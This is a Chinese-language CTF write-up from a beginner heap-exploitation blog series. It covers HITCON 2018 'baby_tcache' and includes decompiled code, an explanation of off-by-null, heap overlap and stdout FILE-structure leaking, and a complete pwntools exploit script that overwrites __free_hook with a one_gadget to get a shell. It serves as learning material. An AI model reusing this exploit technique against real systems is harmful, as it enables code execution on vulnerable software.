pwn入门(八)

HITCON2018 baby_tcache

程序分析

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

保护全开了

1
2
3
4
5
6
🍊      Baby Tcache      🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. New heap $
$ 2. Delete heap $
$ 3. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$

只有add和delete功能

add函数:最多10个chunk,size可控,但不能大于0x2000,

在读取data的时候有个__read_chk进行读取,这个函数跟read不一样的地方在于其参数有一个buf,用来标识缓存区大小,避免溢出。
官方解释文档
而且这里存在空字节溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int add()
{
_QWORD *v0; // rax
signed int i; // [rsp+Ch] [rbp-14h]
_BYTE *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 9 )
{
LODWORD(v0) = puts(":(");
return (signed int)v0;
}
if ( !addr_list[i] )
break;
}
printf("Size:");
size = get_num();
if ( size > 0x2000 )
exit(-2);
v3 = malloc(size);
if ( !v3 )
exit(-1);
printf("Data:");
sub_B88((__int64)v3, size);
v3[size] = 0;
addr_list[i] = v3;
v0 = size_list;
size_list[i] = size;
return (signed int)v0;
}

delete函数没毛病,没有漏洞

漏洞利用

存在空字节溢出,可以利用堆块合并,但是没有show函数无法泄露libc地址~
但是可以利用堆重叠,将将堆块分配到 IO_2_1_stdout 文件流结构体内存

_IO_2_1_stdout_文件流地址和&main_arena+88的地址后1.5个字节是不会变的,因为系统分配内存是按页分配的,一页的大小为0x1000,他们本身的偏移不会改变,所以后1.5字节是不会变的,但是我们覆盖内存的最小单位是2字节,所以有0.5字节是猜的,需要多次尝试,当两个地址吻合时,就会将chunk分配到 _IO_2_1_stdout_文件流内存中,进而覆盖其中的数据。

这道题libc是2.27,可以分配任意大小的堆块,tcache的范围是 (0x20, 0x400),超过这个大小的就会放入unsorted bin,利用off by null来free chunk的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# coding=utf-8

from pwn import *
import time

elf = ELF('./baby_tcache')

libc = elf.libc

io = process('./baby_tcache')

#context.log_level = 'debug'

def choice(idx):

io.sendlineafter("Your choice: ", str(idx))



def add(size, content='a'):

choice(1)

io.sendlineafter("Size:", str(size))

io.sendafter('Data:', content)



def delete(idx):

choice(2)

io.sendlineafter("Index:", str(idx))



def exit():

choice(3)

add(0x500-0x8)#0

add(0x30)#1
add(0x40)#2

add(0x50)#3
add(0x60)#4

add(0x500-0x8)#5

add(0x10)#6

delete(4)
add(0x68,'a'*0x60+'\x60\x06')
delete(2)
delete(0)
delete(5)
add(0x530)#0
delete(4)
add(0xa0,'\x60\x07')#2#3
add(0x40)#2
add(0x3e,p64(0xfbad1800)+p64(0)*3+'\x00')

io.recv(8)
leak_libc = u64(io.recv(8))
io.success("leak_libc: "+hex(leak_libc))
libc_base = leak_libc - 0x3ed8b0
io.success("libc_base: "+hex(libc_base))

sleep(1)
add(0xa0, p64(libc_base + libc.symbols['__free_hook']))

add(0x60, "A")
gdb.attach(io)

one_gadget = 0x4f322
add(0x60, p64(libc_base + one_gadget))
delete(0)

io.interactive()

具体过程和解析看的下面两位师傅的,一步步调试,花了一天时间,收获很多,这里主要是关于堆块的合并,重叠,IO流劫持的相关知识,真的非常nice的一道题,建议一步步调试,去搞懂每一行代码的原理

遗憾:add一个3e大小,还是没找到原因;

总结:鬼斧神工!内存的巧妙利用令人惊叹!

pwn堆入门系列教程8

Po1lux’s Diary